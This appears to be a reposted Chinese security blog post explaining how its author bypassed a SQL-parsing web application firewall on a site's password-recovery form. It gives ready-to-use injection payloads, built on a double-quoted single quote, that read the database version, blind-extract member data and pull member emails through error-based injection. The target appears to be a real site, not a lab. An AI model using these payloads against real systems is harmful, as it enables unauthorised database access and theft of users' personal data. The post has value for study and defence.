SQL注入
这里遇到一个sql注入但是有waf拦截,简单判断这个waf通过解析sql语句是否正常进行拦截的,这里分享一下当时的绕过思路。
判断注入点
首先一个单引号报错,两个单引号不报错,根据报错信息确定sql注入存在
然后测试这个waf会检测很多特征,常用的注释符号,内敛注释,select等都会拦截
就比如简单的or逻辑,将空格换成/**/就会拦截
绕过原理
这里有个奇怪的点就是,没有单引号或者单引号闭合状态下并不会拦截我们构造的语句
多次尝试发现,不拦截说明这个waf并不是单纯的正则判断进行拦截的。
先说明没有单引号时候,我们传给后端的数据是包裹在sql语句两个单引号之间的
这个waf会把单引号里面所有东西当成了字符串去处理,并不会识别成注入语句,自然就不会拦截
当两个单引号时会闭合语句,我们传入的语句也会被识别成字符串,自然也不会拦截
所以我们如果想利用这个规则进行绕过,就必须构造语句让waf识别为字符串,而mysql则识别成语句正常执行
开始绕过
这里使用一个特殊操作,双引号包裹一个单引号
or "'"=""
这个双引号包裹的单引号对于waf而言是一个闭合作用,这就导致该waf将我们后面输入的所有东西都会识别成字符串
而mysql则识别成一个单引号字符串,并没有闭合作用
正是利用这个差别,让我们可以绕过这个waf
对比一下效果,使用"'"不会拦截
没有则会拦截
比如使用select查个version()
dopost=getpwd&gourl=&userid=123&[email protected]' or "'"="" or '5.5.60'=(select version()) or '1'='1&vdcode=4907&type=1
去掉单引号则会被拦截了
盲注也能正常获取数据了
dopost=getpwd&gourl=&userid=123&[email protected]' or "'"="" or '2'=substr((select mid from most_member limit 1,1),1,1) or '1'='1&vdcode=4907&type=1
报错注入也能正常使用
dopost=getpwd&gourl=&userid=123&[email protected]' or "'"="" or updatexml(1,concat('~',(select email from most_member limit 2,1),'~'),1) or '1'='1&vdcode=4907&type=1
这种waf遇到的不多啊,就是分享一下小思路
原文始发于微信公众号(XG小刚):SQL注入绕WAF案例
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论